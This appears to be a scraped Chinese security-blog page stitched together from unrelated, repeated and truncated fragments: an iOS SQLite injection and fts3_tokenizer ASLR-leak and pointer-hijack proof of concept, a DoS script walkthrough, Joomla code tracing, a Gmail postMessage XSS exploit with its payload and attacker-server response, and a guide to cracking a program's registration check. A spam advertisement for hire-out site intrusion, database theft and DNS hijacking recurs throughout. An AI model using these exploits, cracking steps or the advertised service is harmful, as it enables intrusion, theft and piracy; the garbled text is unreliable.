如果攻击者提供的字符串被连接到 SQL 查询语句中,则可能发生针对 SQLite 数据库的 SQL 注入攻击。这可能会导致数据库中的敏感信息泄露或注入恶意代码。
错误示例:
正确示例:
更糟糕的是,iOS 中的 libsqlite3.dylib 支持的
第一个函数可以被滥用,泄露 libsqlite3.dylib 的基地址,从而破坏 ASLR。
如果提供了第二个参数,它会注册一个新的分词器,该参数是虚函数表的地址。这将通过 SQLite3 回调函数执行本地代码:
事故信息:
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
审计提示:检查是否存在对
sqlite3_exec()未预编译 SQL 函数的调用。
sqlite3_prepare*()应使用预编译函数。
错误示例:
NSString *uid = [myHTTPConnection getUID];
NSString *statement = [NSString StringWithFormat:@"SELECT username FROM users
where uid = '%@'",uid];
const char *sql = [statement UTF8String];
正确示例:
const char *sql = "SELECT username FROM users where uid = ?";
sqlite3_prepare_v2(db, sql, -1, &selectUid, NULL);
sqlite3_bind_int(selectUid, 1, uid);
int status = sqlite3_step(selectUid);
更糟糕的是,iOS 中的 libsqlite3.dylib 支持的
fts3_tokenizer函数本身就存在两个安全问题。这个 SQL 函数有两个原型:SELECT fts3_tokenizer(<tokenizer-name>);
SELECT fts3_tokenizer(<tokenizer-name>, <sqlite3_tokenizer_module ptr>);
第一个函数可以被滥用,泄露 libsqlite3.dylib 的基地址,从而破坏 ASLR。
FMResultSet *s = [db executeQuery:@"SELECT hex(fts3_tokenizer('simple')) as fts;"];
while ([s next]) {
NSString *val = [s stringForColumn:@"fts"];
NSLog(@"val: %@", val); // the address of simpleTokenizerModule in libsqlite3.dylib, in big endian
}如果提供了第二个参数,它会注册一个新的分词器,该参数是虚函数表的地址。这将通过 SQLite3 回调函数执行本地代码:
[db executeUpdate:@"select fts3_tokenizer('simple', x'4141414141414141');"]; // a fake virtual table
[db executeUpdate:@"drop table a if exists;"]; // in case the virtual table already extst
FMResultSet *result = [db executeQuery:@"create virtual table a using fts3;"];
NSLog(@"%d", [result next]); // trigger pointer dereference事故信息:
thread #1: tid = 0x19ac77, 0x0000000184530764 libsqlite3.dylib`___lldb_unnamed_symbol1073$$libsqlite3.dylib + 1500, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x4141414141414149)
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
先看一下主体调用函数部分,实际就是调用JavaScript函数方法。从description也可以看出来就是调用了target,然后输入最大的目录深度和请求次数。
再看一下函数定义,除去最后校验网站服务是否处于存活状态的isServerAlive()和几个辅助方法以外,关键的方法定义也就是testTheTarget()这个关键的方法。
首先看一个全局定义,定义一个临时值tempValue,循环输出长度为4001的A字母长字符串。
然后对这4001长度的个A字母长字符串做一个处理,最终目的是转化成带有关键词“~”加上一个1-9任意数字(例如“~2”)的的搜索url请求payload。我这边直接加入了console.log()输出,更加直白。
正式开始攻击的时候,则是利用了一个类img标签,这是一个经常被用来做XSS DDoS攻击利用的标签,然后通过对reponse的耗时读取来分析网站的存活性。但是为什么这里说是“类img标签”,因为这里用了一个createElement()的实验属性用法,一个类似customElement的新标签自定义方法,跟上一个数字来判断第几次发送请求。irsdl定义了一个时间规则来判断网站存活性,msec<100*requestNumber+5000,我们也可以修改这个时间规则进行判断。
再回到最初始的现象,everything为什么会在calc.exe出现在屏幕时才会奔溃呢?我觉得这边可能是everything自身工作逻辑的缘故,由于everything本身功能就很消耗资源,它可能把文件资源作为一个类键值关系只是写入了自身的数据库,真的要去读取时才会去调用Windows资源管理器的搜索功能,所以才出现“桌面渲染DoS”的现象。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
再看一下函数定义,除去最后校验网站服务是否处于存活状态的isServerAlive()和几个辅助方法以外,关键的方法定义也就是testTheTarget()这个关键的方法。
首先看一个全局定义,定义一个临时值tempValue,循环输出长度为4001的A字母长字符串。
然后对这4001长度的个A字母长字符串做一个处理,最终目的是转化成带有关键词“~”加上一个1-9任意数字(例如“~2”)的的搜索url请求payload。我这边直接加入了console.log()输出,更加直白。
正式开始攻击的时候,则是利用了一个类img标签,这是一个经常被用来做XSS DDoS攻击利用的标签,然后通过对reponse的耗时读取来分析网站的存活性。但是为什么这里说是“类img标签”,因为这里用了一个createElement()的实验属性用法,一个类似customElement的新标签自定义方法,跟上一个数字来判断第几次发送请求。irsdl定义了一个时间规则来判断网站存活性,msec<100*requestNumber+5000,我们也可以修改这个时间规则进行判断。
再回到最初始的现象,everything为什么会在calc.exe出现在屏幕时才会奔溃呢?我觉得这边可能是everything自身工作逻辑的缘故,由于everything本身功能就很消耗资源,它可能把文件资源作为一个类键值关系只是写入了自身的数据库,真的要去读取时才会去调用Windows资源管理器的搜索功能,所以才出现“桌面渲染DoS”的现象。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义;arg是获取用户输入的
全局没其他值得注意的地方了,所以开始看controller的代码。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
$_REQUEST或$_SERVER。显然,这里$_SERVER变量没有经过转义,先记下这个点。全局没其他值得注意的地方了,所以开始看controller的代码。
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
首先我们得知在会员修改资料处
上面复现抓包时候可以看到URL:
最后找到代码文件:
最后发现第五行代码调用是在:
可以看到下图,的确是打印出来。由此可以猜测这个地方是正确的获取数据处。
然后接下来的部分代码都是在处理这些参数,所以都省略了。
继续看到
最后追踪发现在
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
admin_style 参数产生的漏洞,先来分析一下数据存储的情况上面复现抓包时候可以看到URL:
/joomla/administrator/index.php?option=com_admin&view=profile&layout=edit&id=5最后找到代码文件:
/administrator/components/com_admin/controllers/profile.phppublic function save($key = null, $urlVar = null)
{ $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));$return = parent::save();//这行代码看上去非常像是保存数据的地方。我们追这个代码在哪。
if ($this->getTask() != 'apply')
{// Redirect to the main page.
$this->setRedirect(JRoute::_('index.php', false));}
return $return;
}
最后发现第五行代码调用是在:
/libraries/src/MVC/Controller/FormController.php文件处$data = $this->input->post->get('jform', array(), 'array'); 这里是获取POST请求的数据。在代码上打印下。看下是不是真的在这。可以看到下图,的确是打印出来。由此可以猜测这个地方是正确的获取数据处。
然后接下来的部分代码都是在处理这些参数,所以都省略了。
继续看到
!$model->save($validData),这里将一些处理好的数据传到了 $model->save() 中,跟下这方法后发现代码在:/administrator/components/com_admin/models/profile.php 处最后追踪发现在
/libraries/joomla/database/driver.php 的 updateObject 方法将数据插入进了数据库渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在这里我们控制这个
这意味着我们可以通过在受我们控制的网站上托管恶意 JavaScript 有效载荷来构造漏洞利用程序。该有效载荷会打开一个指向受害者网站的窗口并保留该窗口对象。然后,该 JavaScript 有效载荷会使用
最后,我们需要设置一个 HTTPS 服务器来监听发送到
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
k变量,可以看到它随后作为参数传递给下面的函数:function d(a) {
var b = document.createElement("div");
b.innerHTML = a;
var c = b.getElementsByClassName("h5");
c.length && c[0].classList.remove("h5"), g = b.innerHTML
}这意味着我们可以通过在受我们控制的网站上托管恶意 JavaScript 有效载荷来构造漏洞利用程序。该有效载荷会打开一个指向受害者网站的窗口并保留该窗口对象。然后,该 JavaScript 有效载荷会使用
postMessage()窗口对象上的方法,并发送如下 JSON 有效载荷:{name: "receiveGmailIk", baseUrl: "https://test.xpnsec.com/mail/1", content: "<iframe src='javascript:alert(document.domain)'></iframe>", preview: 1, ik: "9", user: {email: "xpnsec@protonmail.com", name: "adam chester"}最后,我们需要设置一个 HTTPS 服务器来监听发送到
baseUrl参数(在本例中为https://test.xpnsec.com)的请求,并提供以下 JSON 响应:)]}'
1548
[["ms","1","",4,"xpn sec \u003cxpnsec@protonmail.com\u003e","XPN","xpnsec@protonmail.com",1,"Test",["^all","^f","^i","^iim","^io_im","^io_lr","^o"],0,1,"Test",["1",["XPN Security \u003cxpnsec@protonmail.com\u003e"],[],[],[],"Test","",[[],[0],"",[],[]],0,[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],"",null,0,1,0,0,1,"",null,"","","Test","",null,[0],null,[],null,0,[0],1,null,null,[],null,0,0,0,0,0,null,null,[],null,6,-1,null,0,null,1,null,null,null,0,null,[],null,[],null,[],0,0,null,[]],null,0,"01:29","01:29",0,null,null,"",["en"],0,"",[],null,null,null,0,null,null,null,0,1,"","xpnsec@protonmail.com",[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],-1,null,null,null,"gmail.com",null,[],[],0,"",null,null,null,null,null,null,null,null,null,null,null,1,null,0,1],["ce"],["ak","","cv","query",""]]
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
❤1
首先我们看到
可以看到,从确定按钮的点击事件中,所触发的这个弹窗。我们针对该点击事件去找下具体代码。
从第七行开始看。可以看到获取的
重要的内容从第9行开始,我们来分析下写的什么意思。可以很明显的看出来这里写的是,如果
进入这个函数可以得知该函数的返回值为
最后如果算出来注册码为正确的话才返回
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
“脑图”。我现在按照”脑图“的分析思路。从第一个思路开始分析一下。 可以看到输入注册码那个窗口,我们随便输入一个内容后点确定。可以看到,从确定按钮的点击事件中,所触发的这个弹窗。我们针对该点击事件去找下具体代码。
在Form1-》Button1_Click方法以下代码:从第七行开始看。可以看到获取的
TextBox1控件的内容并赋值给text。然后到第8行去判断 this.RegCodeeque(text)返回值 是否等于20。并且将结果赋值给flag。如果等于则为true,如果不等于则为false重要的内容从第9行开始,我们来分析下写的什么意思。可以很明显的看出来这里写的是,如果
flag为true的话则将text内容就是输入的注册码内容写进注册表内。然后提示注册成功,窗口结束。如果flag为false的话,则提示注册码错误。很明显,我们刚刚为false,所以走进了注册码错误。接下来我们瞄准到this.RegCodeeque(text)这个函数中。进入这个函数可以得知该函数的返回值为
int型。看到上面验证代码 bool flag = this.RegCodeeque(text) == 20;可以看到返回函数返回值是否等于20。我们需要让这个程序的返回值为20,从而直接到注册成功。所以中间代码。不管他。直接看图中的代码。最后如果算出来注册码为正确的话才返回
20,否则话就返回0。所以我们可以选择尝试直接改result改成:return 20; 或者 重新把result赋值一遍。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
每次运行
可以看到返回值也是
可以看到。每次运行
所以我们可以确定就是这个函数做了初始化验证功能。
现在开始阅读一下代码。看看这些代码到底做了什么操作。接下来的代码一些操作流程。我都会以注释形式写在以下代码中。
首先按照我们上面代码的分析思路。
我们
渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
“辅助工具”都会弹出这个注册窗。那么在“辅助工具”初始化的时候肯定做了判断,所以才会反复进入注册窗口。于是我们找到CHECKLOAD-》CheckReg处。可以看到返回值也是
int类型。可以看到。每次运行
“辅助工具”都会弹出无申请码这个提示。所以我们可以确定就是这个函数做了初始化验证功能。
现在开始阅读一下代码。看看这些代码到底做了什么操作。接下来的代码一些操作流程。我都会以注释形式写在以下代码中。
首先按照我们上面代码的分析思路。
我们
CB5文件的申请码改成我们自己的先。然后运行试试。渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM